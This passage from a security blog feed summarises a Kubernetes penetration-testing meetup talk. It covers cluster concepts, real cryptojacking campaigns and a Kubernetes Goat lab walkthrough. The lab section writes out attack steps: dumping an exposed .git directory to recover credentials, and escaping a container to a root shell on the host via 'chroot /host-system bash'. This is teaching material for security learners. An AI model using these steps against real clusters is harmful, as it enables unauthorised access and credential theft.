<li class=""><strong>Sigma</strong> — Generic and open signature format for SIEM systems. <a href="https://github.com/SigmaHQ/sigma" target="_blank" rel="noopener noreferrer" class="">github.com/SigmaHQ/sigma</a></li>
<li class=""><strong>DOMPurify</strong> — XSS sanitizer library for HTML, MathML, and SVG, recommended for AI web app security. <a href="https://github.com/cure53/DOMPurify" target="_blank" rel="noopener noreferrer" class="">github.com/cure53/DOMPurify</a></li>
<li class=""><strong>Presidio</strong> — Microsoft's open-source PII detection and anonymization SDK. <a href="https://github.com/microsoft/presidio" target="_blank" rel="noopener noreferrer" class="">github.com/microsoft/presidio</a></li>
<li class=""><strong>LangChain</strong> — Framework for developing applications powered by LLMs, including intent routing. <a href="https://www.langchain.com/" target="_blank" rel="noopener noreferrer" class="">langchain.com</a></li>
<li class=""><strong>Semantic Router</strong> — Fast decision-making layer for LLMs used for intent routing. <a href="https://github.com/aurelio-labs/semantic-router" target="_blank" rel="noopener noreferrer" class="">github.com/aurelio-labs/semantic-router</a></li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="platforms--services">Platforms &amp; Services<a href="https://blog.haxnation.org/antisyphon-training-thrunting-summit-2026-summary#platforms--services" class="hash-link" aria-label="Direct link to Platforms &amp; Services" title="Direct link to Platforms &amp; Services" translate="no">​</a></h3>
<ul>
<li class=""><strong>AWS Bedrock</strong> — Amazon's managed service for deploying frontier models privately. <a href="https://aws.amazon.com/bedrock/" target="_blank" rel="noopener noreferrer" class="">aws.amazon.com/bedrock</a></li>
<li class=""><strong>Microsoft Azure OpenAI Service</strong> — Microsoft's enterprise deployment of OpenAI models. <a href="https://azure.microsoft.com/en-us/products/ai-services/openai-service" target="_blank" rel="noopener noreferrer" class="">azure.microsoft.com/en-us/products/ai-services/openai-service</a></li>
<li class=""><strong>Lakera</strong> — AI security platform providing self-learning guardrails and classifiers. <a href="https://www.lakera.ai/" target="_blank" rel="noopener noreferrer" class="">lakera.ai</a></li>
<li class=""><strong>Antisyphon Training</strong> — The organization hosting the Thrunting Summit. <a href="https://www.antisyphontraining.com/" target="_blank" rel="noopener noreferrer" class="">antisyphontraining.com</a></li>
<li class=""><strong>Arcanum Information Security</strong> — Jason Haddix's firm specializing in AI red teaming. <a href="https://www.arcanuminfosec.com/" target="_blank" rel="noopener noreferrer" class="">arcanuminfosec.com</a></li>
</ul>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="threat-hunting" term="threat-hunting"/>
        <category label="thrunt" term="thrunt"/>
        <category label="RITA" term="RITA"/>
        <category label="THOR-Collective" term="THOR-Collective"/>
        <category label="PEAK-threat-hunting-framework" term="PEAK-threat-hunting-framework"/>
        <category label="MITRE-ATT&CK" term="MITRE-ATT&CK"/>
        <category label="ATHF-Framework" term="ATHF-Framework"/>
        <category label="LOCK-Records" term="LOCK-Records"/>
        <category label="Legal-Landmines" term="Legal-Landmines"/>
        <category label="Automated-Threat-Hunting" term="Automated-Threat-Hunting"/>
        <category label="Antisyphon-Training" term="Antisyphon-Training"/>
        <category label="BHIS" term="BHIS"/>
        <category label="AI-Red-Teaming" term="AI-Red-Teaming"/>
        <category label="Defending-AI" term="Defending-AI"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Summary of Breachforce Meetup, Mumbai held on 21st June 2026]]></title>
        <id>https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary</id>
        <link href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary"/>
        <updated>2026-06-21T19:00:00.000Z</updated>
        <summary type="html"><![CDATA[This blog is a summary of talk held at Breachforce Meetup, Mumbai held on 21st June 2026.
]]></summary>
        <content type="html"><![CDATA[<p>This blog is a summary of talk held at Breachforce Meetup, Mumbai held on 21st June 2026.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="kubernetes-penetration-testing--configuration-review-by-abhishek-pal">"Kubernetes Penetration Testing &amp; Configuration Review" by <strong>Abhishek Pal</strong><a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#kubernetes-penetration-testing--configuration-review-by-abhishek-pal" class="hash-link" aria-label="Direct link to kubernetes-penetration-testing--configuration-review-by-abhishek-pal" title="Direct link to kubernetes-penetration-testing--configuration-review-by-abhishek-pal" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction">Introduction<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#introduction" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-evolution-from-physical-servers-to-containers">The Evolution: From Physical Servers to Containers<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#the-evolution-from-physical-servers-to-containers" class="hash-link" aria-label="Direct link to The Evolution: From Physical Servers to Containers" title="Direct link to The Evolution: From Physical Servers to Containers" translate="no">​</a></h4>
<ul>
<li class=""><strong>Physical Servers:</strong> Originally, applications ran on single physical servers. This caused resource allocation issues; if one application spiked in resource usage, others would underperform. Scaling meant buying and maintaining more physical hardware, which was expensive and inefficient.</li>
<li class=""><strong>Virtualization (VMs):</strong> To solve this, virtualization was introduced. It allowed multiple <em>Virtual Machines (VMs)</em> to run on a single physical server. Each VM has its own full <em>Operating System (OS)</em> and virtualized hardware. This improved resource utilization and isolation, but VMs were heavy, slow to boot, and consumed significant overhead since each required a full OS.</li>
<li class=""><strong>Containers:</strong> Containers were created to solve the "heavyweight" problem of VMs. Instead of virtualizing the hardware, <mark>containers virtualize the Operating System</mark>. They share the host OS kernel but run in isolated user spaces. This makes them <em>extremely lightweight, fast to boot, and highly portable</em>.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="core-linux-technologies-behind-containers">Core Linux Technologies Behind Containers<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#core-linux-technologies-behind-containers" class="hash-link" aria-label="Direct link to Core Linux Technologies Behind Containers" title="Direct link to Core Linux Technologies Behind Containers" translate="no">​</a></h4>
<p>Containerization relies heavily on two native Linux kernel features:</p>
<ul>
<li class=""><strong>Namespaces:</strong> Provide <em>process isolation</em>. They ensure that a container only sees its own restricted view of the system (e.g., its own process ID tree, network interfaces, and mount points).</li>
<li class=""><strong>cgroups (Control Groups):</strong> Provide <em>resource management</em>. They limit and monitor the amount of resources (CPU, memory, disk I/O) that a specific container can use, preventing one container from exhausting the host's resources.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-emergence-of-docker">The Emergence of Docker<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#the-emergence-of-docker" class="hash-link" aria-label="Direct link to The Emergence of Docker" title="Direct link to The Emergence of Docker" translate="no">​</a></h4>
<ul>
<li class="">While container technologies existed in Linux (like LXC), they were complex to use and manage.</li>
<li class=""><strong>Docker</strong> came into place to democratize containerization. It provided a simple, user-friendly interface, a standardized image format, and robust tooling to easily build, ship, and run containers anywhere, which sparked the modern container revolution.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="docker-vs-kubernetes">Docker vs Kubernetes<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#docker-vs-kubernetes" class="hash-link" aria-label="Direct link to Docker vs Kubernetes" title="Direct link to Docker vs Kubernetes" translate="no">​</a></h4>
<ul>
<li class=""><strong>Docker</strong> is a platform used to <em>create, share, and run</em> individual containers.</li>
<li class=""><strong>Kubernetes</strong> is an orchestration system used to <em>manage, scale, and orchestrate</em> multiple containers across a cluster of machines.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="container-registry">Container Registry<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#container-registry" class="hash-link" aria-label="Direct link to Container Registry" title="Direct link to Container Registry" translate="no">​</a></h4>
<ul>
<li class="">A centralized repository where container images are stored, managed, and distributed (e.g., <em>Docker Hub</em>, <em>Amazon ECR</em>, <em>Google Container Registry</em>).</li>
<li class="">Organizations often use a <strong>Private Registry</strong> to securely store their proprietary container images. A major advantage of container images is that when small changes are made to the application, only the modified layers need to be rebuilt and pushed to the registry. We can quickly reuse the rest of the image layers when spinning it up again, making deployments extremely fast and efficient.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="core-kubernetes-concepts">Core Kubernetes Concepts<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#core-kubernetes-concepts" class="hash-link" aria-label="Direct link to Core Kubernetes Concepts" title="Direct link to Core Kubernetes Concepts" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-are-pods">What are Pods?<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#what-are-pods" class="hash-link" aria-label="Direct link to What are Pods?" title="Direct link to What are Pods?" translate="no">​</a></h4>
<ul>
<li class="">The <strong>smallest and simplest</strong> Kubernetes object. A Pod represents a single instance of a running process in your cluster and can contain one or more containers.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="other-key-resources">Other Key Resources<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#other-key-resources" class="hash-link" aria-label="Direct link to Other Key Resources" title="Direct link to Other Key Resources" translate="no">​</a></h4>
<ul>
<li class=""><strong>Namespace:</strong> Provides a mechanism for isolating groups of resources within a single cluster.</li>
<li class=""><strong>Replica Set:</strong> Ensures that a specified number of pod replicas are running at any given time.</li>
<li class=""><strong>Deployment:</strong> Provides declarative updates for Pods and ReplicaSets.</li>
<li class=""><strong>ConfigMap:</strong> Used to store non-confidential data in key-value pairs, keeping environment-specific configuration decoupled from image content.</li>
<li class=""><strong>Secret:</strong> Used to store sensitive information, such as passwords, OAuth tokens, and SSH keys. (Encoded, not encrypted, by default).</li>
<li class=""><strong>Volume:</strong> A directory containing data, accessible to the containers in a pod.</li>
<li class=""><strong>Persistent Volume (PV):</strong> A piece of storage in the cluster that has a lifecycle independent of any individual pod that uses it.</li>
<li class=""><strong>Persistent Volume Claim (PVC):</strong> A request for storage resources made by a user or application.</li>
<li class=""><strong>Ingress:</strong> An API object that manages external access to the services in a cluster, typically HTTP.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="structure-of-a-kubernetes-yaml-file">Structure of a Kubernetes YAML File<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#structure-of-a-kubernetes-yaml-file" class="hash-link" aria-label="Direct link to Structure of a Kubernetes YAML File" title="Direct link to Structure of a Kubernetes YAML File" translate="no">​</a></h3>
<p>To deploy resources in Kubernetes, we use YAML manifests. Here is a breakdown of the key elements in a standard Deployment manifest:</p>
<ul>
<li class=""><code>apiVersion</code>: Specifies the Kubernetes API version being used (e.g., <code>apps/v1</code>).</li>
<li class=""><code>kind</code>: Indicates the type of Kubernetes object being created (e.g., <code>Deployment</code>).</li>
<li class=""><code>metadata.name</code>: Specifies the name of the deployment resource.</li>
<li class=""><code>spec.replicas</code>: Defines the number of Pods to run at any time.</li>
<li class=""><code>spec.strategy.rollingUpdate.maxSurge</code>: The maximum number of Pods to be created on top of the desired count during deployment.</li>
<li class=""><code>spec.strategy.rollingUpdate.maxUnavailable</code>: The maximum number of Pods that can be unavailable during deployment.</li>
<li class=""><code>spec.selector.matchLabels</code> and <code>spec.template.metadata.labels</code>: Both labels should match to create a Pod.</li>
<li class=""><code>spec.template.metadata</code>: Defines the Pod manifest.</li>
<li class=""><code>spec.template.spec.containers.name</code>: The name of the container within the pod.</li>
<li class=""><code>spec.template.spec.containers.image</code>: The name of the container image to pull and run.</li>
<li class=""><code>spec.template.spec.containers.ports.containerPort</code>: The application listening/running port.</li>
</ul>
<div class="diagram-container">
  <figure>
    <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/deployment-manifest-nginx-k8s.PNG" alt="Example of a Kubernetes Deployment Manifest YAML structure">
    <figcaption class="diagram-caption">
      <strong>Fig 1:</strong> Example of a Kubernetes Deployment Manifest YAML structure
    </figcaption>
  </figure>
</div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="kubernetes-components">Kubernetes Components<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#kubernetes-components" class="hash-link" aria-label="Direct link to Kubernetes Components" title="Direct link to Kubernetes Components" translate="no">​</a></h3>
<p>A Kubernetes cluster consists of a set of worker machines, called nodes, that run containerized applications. Every cluster has at least one worker node.</p>
<div class="diagram-container">
  <figure>
    <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/Kubernetes-Architecture-Diagram.jpg" alt="Kubernetes Cluster Architecture Diagram">
    <figcaption class="diagram-caption">
      <strong>Fig 2:</strong> Kubernetes Cluster Architecture Diagram
    </figcaption>
  </figure>
</div>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="control-plane-master-node">Control Plane (Master Node)<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#control-plane-master-node" class="hash-link" aria-label="Direct link to Control Plane (Master Node)" title="Direct link to Control Plane (Master Node)" translate="no">​</a></h4>
<p>The Control Plane manages the worker nodes and the Pods in the cluster.</p>
<ul>
<li class=""><strong>API Server:</strong> The central management entity that receives all REST requests and serves as the front end for the Kubernetes control plane.</li>
<li class=""><strong>etcd:</strong> A consistent and highly-available key-value store used as Kubernetes' backing store for all cluster data.</li>
<li class=""><strong>Scheduler:</strong> Watches for newly created Pods with no assigned node, and selects a node for them to run on.</li>
<li class=""><strong>Controller Manager:</strong> Think of the Controller Manager as a continuous <strong>state machine</strong>. It constantly monitors two states: the <em>Desired State</em> (which we provide via YAML manifests) and the <em>Current State</em> (the actual running state of the cluster). If the current state is not equivalent to the desired state, it takes action to bring it to the desired state. This is exactly how <strong>self-healing</strong> is achieved in Kubernetes.
<blockquote>
<p><strong>Integration Example:</strong> Security tools like <strong>Qualys VMDR</strong> can coordinate with the Controller Manager. When a vulnerability is found and patched, Qualys can trigger an update to the desired state, prompting the Controller Manager to gracefully roll out the patched containers while terminating the vulnerable ones, ensuring zero downtime patching.</p>
</blockquote>
</li>
<li class=""><strong>Cloud Controller Manager:</strong> Embeds cloud-specific control logic, linking the cluster into the cloud provider's API.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="data-plane-worker-nodes">Data Plane (Worker Nodes)<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#data-plane-worker-nodes" class="hash-link" aria-label="Direct link to Data Plane (Worker Nodes)" title="Direct link to Data Plane (Worker Nodes)" translate="no">​</a></h4>
<p>The Data Plane contains the components that run on every node, maintaining running pods and providing the Kubernetes runtime environment.</p>
<ul>
<li class=""><strong>kubelet:</strong> An agent that runs on each node in the cluster and ensures that containers are running in a Pod.</li>
<li class=""><strong>kube-proxy:</strong> A network proxy that runs on each node, maintaining network rules that allow network communication to Pods from inside or outside the cluster.</li>
<li class=""><strong>Container Runtime:</strong> The software that is responsible for running containers (e.g., Docker, containerd).</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="kubernetes-attack-surface--penetration-testing">Kubernetes Attack Surface &amp; Penetration Testing<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#kubernetes-attack-surface--penetration-testing" class="hash-link" aria-label="Direct link to Kubernetes Attack Surface &amp; Penetration Testing" title="Direct link to Kubernetes Attack Surface &amp; Penetration Testing" translate="no">​</a></h3>
<p>During the session, an audience member asked which area generally presents the largest attack surface: the Infrastructure, the Application, or Kubernetes itself. The speaker responded that the <strong>Kubernetes side often presents a much larger and complex attack surface</strong> due to its numerous components, configurations, and internal networking.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="approaches-to-kubernetes-assessment">Approaches to Kubernetes Assessment<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#approaches-to-kubernetes-assessment" class="hash-link" aria-label="Direct link to Approaches to Kubernetes Assessment" title="Direct link to Approaches to Kubernetes Assessment" translate="no">​</a></h4>
<p>The assessment of a Kubernetes environment mainly follows two approaches:</p>
<ul>
<li class=""><strong>Black Box Penetration Testing:</strong> The penetration tester starts with no internal knowledge and <strong>no <code>kubeconfig</code> file</strong>. The goal is to determine how much damage an attacker can do purely from the outside (e.g., exploiting a vulnerable public-facing application to gain initial access to a pod, and then attempting to break out of the container or move laterally).</li>
<li class=""><strong>White/Grey Box Penetration Testing (With <code>kubeconfig</code>):</strong> The tester is provided with a <code>kubeconfig</code> file (often simulating a compromised developer's machine or insider threat). The goal here is to assess the impact and see how far privileges can be escalated within the cluster due to misconfigurations in <strong>RBAC (Role-Based Access Control)</strong> or weak policies.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="a-simple-threat-model">A Simple Threat Model<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#a-simple-threat-model" class="hash-link" aria-label="Direct link to A Simple Threat Model" title="Direct link to A Simple Threat Model" translate="no">​</a></h4>
<p>When modeling threats for Kubernetes, consider the following:</p>
<ul>
<li class=""><strong>Who are the attackers?</strong> External (from the internet), Internal (attacker in a pod), Developer (User with some access in the cluster), Malicious Administrator, or an End User.</li>
<li class=""><strong>What can they attack?</strong> Cluster state storage (<code>etcd</code>), Secrets, Volumes (Data Breach), Container Images (Private Repository), or Compute Resources (e.g., for Crypto Mining).</li>
<li class=""><strong>How can they attack?</strong> Configuration Weaknesses, exploiting vulnerabilities, exploiting trust across components, lack of appropriate AuthZ (Authorization) controls, or lack of security hardening.</li>
</ul>
<blockquote>
<p><strong>Most Dangerous Finding in a K8s Pentest</strong>
When someone from the audience asked the speaker what was his most dangerous finding during a K8s pentest, Abhishek shared that it was <mark><strong>Hardcoded Credentials</strong></mark>.</p>
<p>By discovering hardcoded credentials, he was able to access the complete Kubernetes dashboard. Because there was absolutely no security hardening in place, he gained <strong>Admin access</strong>. From there, he changed the authorization configurations, changed user passwords to achieve complete cluster takeover, and effectively locked the client out of their own environment to demonstrate the severity of the misconfiguration.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="recent-kubernetes-attacks-threat-landscape">Recent Kubernetes Attacks (Threat Landscape)<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#recent-kubernetes-attacks-threat-landscape" class="hash-link" aria-label="Direct link to Recent Kubernetes Attacks (Threat Landscape)" title="Direct link to Recent Kubernetes Attacks (Threat Landscape)" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-kinsing-hacker-group-cryptojacking">1. Kinsing Hacker Group (Cryptojacking)<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#1-kinsing-hacker-group-cryptojacking" class="hash-link" aria-label="Direct link to 1. Kinsing Hacker Group (Cryptojacking)" title="Direct link to 1. Kinsing Hacker Group (Cryptojacking)" translate="no">​</a></h4>
<p>The <strong>Kinsing</strong> hacker group has been actively exploiting various flaws to expand their botnet primarily for <strong>Cryptojacking</strong> (unauthorized use of compute resources to mine cryptocurrency).</p>
<ul>
<li class=""><strong>Attack Flow:</strong> They start by exploiting a vulnerable workload (e.g., a vulnerable Openfire server, misconfigured Redis, or an open Docker API).</li>
<li class=""><strong>Execution:</strong> Once initial access is gained, they run memory-resident malware.</li>
<li class=""><strong>Persistence &amp; Impact:</strong> The malware establishes encrypted communication with their C2 (Command &amp; Control) server, downloads shell scripts, and runs a cryptominer hidden by a rootkit to evade detection.</li>
<li class=""><strong>Common Vulnerabilities Exploited:</strong> Misconfigured Remote Docker APIs (open to the internet without auth), Misconfigured Redis Servers, and various RCEs (Remote Code Execution) in WordPress, SaltStack, Apache Hadoop, etc.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-scarleteel-20-2024">2. SCARLETEEL 2.0 (2024)<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#2-scarleteel-20-2024" class="hash-link" aria-label="Direct link to 2. SCARLETEEL 2.0 (2024)" title="Direct link to 2. SCARLETEEL 2.0 (2024)" translate="no">​</a></h4>
<p>A highly sophisticated attack campaign targeting AWS EC2 and other Kubernetes infrastructure. It perfectly demonstrates the critical risks of lateral movement.</p>
<ul>
<li class=""><strong>Initial Access &amp; Execution:</strong> The attackers exploit a public-facing web application (e.g., a vulnerable Jupyter Notebook). The malicious scripts are aware of being in a Fargate-hosted container and actively collect credentials.</li>
<li class=""><strong>Information Gathering &amp; Escalation:</strong> They install tools like AWS CLI, <code>pacu</code>, and <code>peirates</code>. They attempt to exploit <strong>IMDSv2</strong> to retrieve tokens and subsequently AWS credentials.</li>
<li class=""><strong>Privilege Escalation &amp; Persistence:</strong> By escalating to Admin in the victim's AWS account, they spin up EC2 instances running miners. They use <code>peirates</code> to further exploit Kubernetes and frequently change C2 domains (utilizing public services) for defense evasion.</li>
</ul>
<blockquote>
<p><strong>Container-to-Kubernetes Lateral Movement</strong></p>
<p>SCARLETEEL 2.0 highlights the severe danger of <mark><strong>Container-to-Kubernetes Lateral Movement</strong></mark>, where a single container compromise can lead to a full Kubernetes account breach.</p>
<p>When questioned about this lateral movement, the speaker clarified:</p>
<ul>
<li class="">By default, Kubernetes is relatively secure due to modern <strong>RBAC (Role-Based Access Control)</strong> mechanisms.</li>
<li class="">However, if an attacker successfully escapes a container, they might gain access to the underlying platform (like minikube) and use command-line tools like <code>kubectl</code> to interact with the cluster.</li>
<li class=""><strong>The "Complete Mess" of Caveats:</strong> In reality, lateral movement can take many convoluted paths:
<ul>
<li class=""><strong>Container to Container:</strong> Jumping to a container that has higher privileges or sensitive credentials mounted.</li>
<li class=""><strong>Container to Cluster:</strong> Gaining direct API access to the Kubernetes cluster from within the compromised pod.</li>
<li class=""><strong>Container to Runtime:</strong> Accessing the container runtime itself (e.g., containerd, docker, cri-o).</li>
<li class=""><strong>Container to Node (Host):</strong> In cases of misconfigured shared mounts, an attacker might achieve arbitrary file writes on the host file system. This allows them to break out to the underlying node and potentially steal highly privileged credentials.</li>
</ul>
</li>
</ul>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="common-initial-attack-vectors-how-they-get-in">Common Initial Attack Vectors (How They Get In)<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#common-initial-attack-vectors-how-they-get-in" class="hash-link" aria-label="Direct link to Common Initial Attack Vectors (How They Get In)" title="Direct link to Common Initial Attack Vectors (How They Get In)" translate="no">​</a></h3>
<p>According to the presentation, attackers typically gain their initial foothold through the following vectors:</p>
<ul>
<li class=""><mark><strong>Misconfigurations (#1 Cause):</strong></mark> This includes exposing the Kubernetes API server to the internet, having overly permissive RBAC roles (especially <code>cluster-admin</code> bound to default service accounts), storing secrets in plaintext or environment variables, and running containers with <code>privileged: true</code> or as root.</li>
<li class=""><strong>Unpatched Software:</strong> Failing to update Kubernetes components (<code>kube-apiserver</code>, <code>kubelet</code>), container runtimes (like runc vulnerabilities e.g., <strong>CVE-2024-21626</strong>), or workloads.</li>
<li class=""><strong>Compromised Credentials:</strong> Stolen Kubernetes provider IAM keys, service account tokens, or developer CI/CD credentials.</li>
<li class=""><strong>Vulnerable Applications:</strong> Web applications running inside containers with common vulnerabilities (like SQLi or RCE) that provide an initial foothold.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="scrutiny-weaponized-for-silent-cryptojacking">Scrutiny Weaponized for Silent Cryptojacking<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#scrutiny-weaponized-for-silent-cryptojacking" class="hash-link" aria-label="Direct link to Scrutiny Weaponized for Silent Cryptojacking" title="Direct link to Scrutiny Weaponized for Silent Cryptojacking" translate="no">​</a></h3>
<p>A growing trend in the threat landscape is the weaponization of legitimate security tools:</p>
<ul>
<li class="">Attackers run legitimate open-source auditing tools like <strong>kubeaudit</strong> and <strong>kubescape</strong> inside compromised clusters to actively identify misconfigurations they can exploit. This allows them to deploy hidden, low-resource cryptojacking containers that evade typical monitoring.</li>
<li class="">Another vector involves attackers uploading malicious container images or Helm charts (embedded with cryptominers or credential stealers) to public repositories like Docker Hub. Developers who pull these images without proper vetting inadvertently compromise their entire clusters.</li>
</ul>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="hands-on-lab-kubernetes-goat-walkthrough">Hands-On Lab: Kubernetes Goat Walkthrough<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#hands-on-lab-kubernetes-goat-walkthrough" class="hash-link" aria-label="Direct link to Hands-On Lab: Kubernetes Goat Walkthrough" title="Direct link to Hands-On Lab: Kubernetes Goat Walkthrough" translate="no">​</a></h3>
<p>Abhishek ensured the session was highly interactive by providing attendees with a pre-configured Ubuntu Virtual Machine (OVA file). This lab environment had everything completely set up for us—a huge shoutout and credit to the speaker for removing the friction of setting up a local cluster!</p>
<p>The lab heavily featured <strong>Kubernetes Goat</strong>, an intentionally vulnerable cluster environment created by <strong>Madhu Akula</strong>, designed to help security professionals learn and practice Kubernetes security practically.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="setting-up-the-lab-environment">Setting up the Lab Environment<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#setting-up-the-lab-environment" class="hash-link" aria-label="Direct link to Setting up the Lab Environment" title="Direct link to Setting up the Lab Environment" translate="no">​</a></h4>
<p>Getting the lab running inside the VM was straightforward:</p>
<ol>
<li class=""><strong>Start the cluster:</strong> We simply ran <code>minikube start</code> to spin up our local Kubernetes control plane and worker nodes.
<div class="diagram-container">
</div></li>
</ol>
  <figure>
    <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/minikube-start.png" alt="Starting the local minikube cluster inside the Ubuntu VM">
    <figcaption class="diagram-caption">
      <strong>Fig 3:</strong> Starting the local minikube cluster inside the Ubuntu VM
    </figcaption>
  </figure>

<ol start="2">
<li class=""><strong>Expose Kubernetes Goat:</strong> We navigated to the <code>kubernetes-goat</code> directory and ran the provided script: <code>bash access-kubernetes-goat.sh</code>. This automatically created the necessary port forwards (e.g., ports 1230 to 1236) and hosted the vulnerable application guide locally on <code>http://127.0.0.1:1234</code>.
<div class="diagram-container">
</div></li>
</ol>
  <figure>
    <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/kubegoat-deply.png" alt="Setting up and exposing Kubernetes Goat locally">
    <figcaption class="diagram-caption">
      <strong>Fig 4:</strong> Setting up and exposing Kubernetes Goat locally
    </figcaption>
  </figure>

<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="scenario-1-sensitive-keys-in-codebases">Scenario 1: Sensitive Keys in Codebases<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#scenario-1-sensitive-keys-in-codebases" class="hash-link" aria-label="Direct link to Scenario 1: Sensitive Keys in Codebases" title="Direct link to Scenario 1: Sensitive Keys in Codebases" translate="no">​</a></h4>
<p>Abhishek kicked off the walkthrough with the first scenario: <em>Sensitive keys in codebases</em>.</p>
<ul>
<li class="">In modern CI/CD and GitOps workflows, developers sometimes accidentally commit sensitive information to version control systems.</li>
<li class="">The vulnerability often stems from web servers misconfigured to serve the <code>.git</code> directory publicly. An attacker can navigate to <code>url.com/.git/config</code> to verify the exposure.</li>
<li class="">The attacker downloads the <code>.git</code> directory locally using <code>git-dumper</code>. From there, they can view the commit history, find previous commit hashes, and change the <code>HEAD</code> to an older commit. In the walkthrough demonstration, reverting to an older commit revealed a <code>.env</code> file that had been accidentally committed, ultimately exposing highly sensitive application credentials.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="scenario-2-container-escape-to-the-host-system">Scenario 2: Container Escape to the Host System<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#scenario-2-container-escape-to-the-host-system" class="hash-link" aria-label="Direct link to Scenario 2: Container Escape to the Host System" title="Direct link to Scenario 2: Container Escape to the Host System" translate="no">​</a></h4>
<p>The second example demonstrated a critical vulnerability: breaking out of a container to gain access to the underlying host node.</p>
<ul>
<li class="">Abhishek started by running <code>capsh --print</code> inside the compromised pod. This command prints the current capabilities of the container, including the Bounding set and Ambient set, which helps attackers understand what privileged actions they are allowed to perform.
<div class="diagram-container">
<figure>
  <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/breachforce-meetup/imgs/capsh-demo.png" alt="Demonstration of using capsh to view container capabilities">
  <figcaption class="diagram-caption">
    <strong>Fig 5:</strong> Demonstration of using capsh to view container capabilities
  </figcaption>
</figure>
</div></li>
</ul>

<ul>
<li class="">He then demonstrated that a misconfigured shared mount allowed him to see the host's filesystem by running <code>ls /host-system/</code>.</li>
<li class="">By executing <code>chroot /host-system bash</code>, the attacker effectively breaks out of the container's isolated filesystem and drops into a root shell on the underlying host node.</li>
<li class="">Once on the host, Abhishek ran <code>crictl pods</code>, successfully listing all pods running on that specific node, demonstrating a complete node compromise.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="scenario-3-rbac-least-privileges-misconfiguration">Scenario 3: RBAC Least Privileges Misconfiguration<a href="https://blog.haxnation.org/breachforce-mumbai-meetup-june26-summary#scenario-3-rbac-least-privileges-misconfiguration" class="hash-link" aria-label="Direct link to Scenario 3: RBAC Least Privileges Misconfiguration" title="Direct link to Scenario 3: RBAC Least Privileges Misconfiguration" translate="no">​</a></h4>
